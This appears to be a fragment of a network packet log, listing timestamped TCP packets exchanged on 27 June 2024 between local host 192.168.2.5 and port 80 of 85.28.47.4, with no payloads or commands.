Jun 27, 2024 07:37:16.770191908 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.770220041 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.770245075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.770701885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.770710945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.770725965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.770744085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.770756006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.770759106 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.770770073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.770776987 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.770781994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.770793915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.770802021 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.770803928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.770816088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.770827055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.770837069 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.770838022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.770850897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.770859003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.770863056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.770875931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.770884037 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.770912886 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.770930052 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.771222115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.771238089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.771244049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.771272898 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.771311998 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.771368980 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.771370888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.771374941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.771382093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.771385908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.771390915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.771401882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.771411896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.771420956 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.771425009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.771436930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.771450043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.771455050 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.771464109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.771495104 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.771514893 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.771955967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.771969080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.771981001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.771994114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.772010088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.772013903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.772020102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.772031069 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.772032022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.772059917 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.772087097 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.853859901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.853874922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.853888035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.853935957 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.853945017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.853956938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.853969097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.853986979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.854012966 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.854094028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.854110003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.854120970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.854147911 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.854172945 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.854254961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.854266882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.854278088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.854290009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.854305029 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.854307890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.854319096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.854336023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.854343891 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.854363918 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.854392052 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.854605913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.854624033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.854638100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.854650974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.854665041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.854665995 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.854680061 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.854717970 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.854734898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.854784012 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.854796886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.854809046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.854821920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.854832888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.854846954 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.854878902 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.855074883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.855088949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.855104923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.855115891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.855129004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.855137110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.855150938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.855153084 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.855187893 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.855222940 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.855315924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.855329037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.855340004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.855370045 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.855400085 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.855479956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.855492115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.855503082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.855519056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.855529070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.855530024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.855546951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.855557919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.855564117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.855568886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.855580091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.855586052 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.855590105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.855601072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.855608940 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.855611086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.855621099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.855643034 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.855662107 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.856182098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.856195927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.856211901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.856223106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.856229067 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.856236935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.856247902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.856261015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.856270075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.856272936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.856287003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.856301069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.856303930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.856312990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.856322050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.856328964 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.856333017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.856353045 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.856360912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.856375933 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.856393099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.856405973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.856411934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.856419086 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.856466055 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.856976986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.856988907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.857001066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.857014894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.857027054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.857036114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.857037067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.857048988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.857059002 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.857059956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.857070923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.857084036 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.857084036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.857095003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.857106924 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.857109070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.857120037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.857131004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.857131958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.857148886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.857156038 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.857161045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.857172966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.857191086 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.857225895 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.857702971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.857721090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.857732058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.857743979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.857749939 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.857754946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.857765913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.857789040 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.857789040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.857800007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.857816935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.857821941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.857827902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.857839108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.857846022 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.857866049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.857872009 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.857913017 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.858315945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.858328104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.858338118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.858349085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.858359098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.858367920 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.858371019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.858381987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.858393908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.858405113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.858412027 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.858414888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.858428001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.858442068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.858442068 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.858457088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.858459949 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.858468056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.858474970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.858483076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.858494043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.858495951 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.858539104 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.858901978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.858912945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.858923912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.858939886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.858949900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.858953953 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.858961105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.858975887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.859014988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.940574884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.940603018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.940608978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.940660000 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.940685987 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.940692902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.940697908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.940746069 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.940773010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.940779924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.940861940 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.940936089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.940943956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.940953970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.940960884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.940968037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.940993071 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.941020012 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.941112995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.941118002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.941163063 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.941342115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.941346884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.941364050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.941370010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.941375017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.941416979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.941416979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.941575050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.941581011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.941591978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.941598892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.941607952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.941613913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.941626072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.941629887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.941631079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.941674948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.941674948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.941874027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.941879034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.941890001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.941905022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.941910028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.941920042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.941926003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.941931963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.941946983 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.941946983 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.942308903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.942315102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.942325115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.942331076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.942336082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.942341089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.942346096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.942348003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.942352057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.942363977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.942365885 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.942369938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.942392111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.942418098 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.942730904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.942737103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.942748070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.942754030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.942759991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.942765951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.942778111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.942785025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.942809105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.942841053 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.942841053 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.943030119 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.943037033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.943048000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.943053007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.943058968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.943063974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.943070889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.943088055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.943092108 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.943095922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.943105936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.943111897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.943118095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.943147898 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.943147898 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.943730116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.943734884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.943746090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.943752050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.943763971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.943770885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.943780899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.943785906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.943790913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.943797112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.943805933 CEST	80	49705	85.28.47.4	192.168.2.5
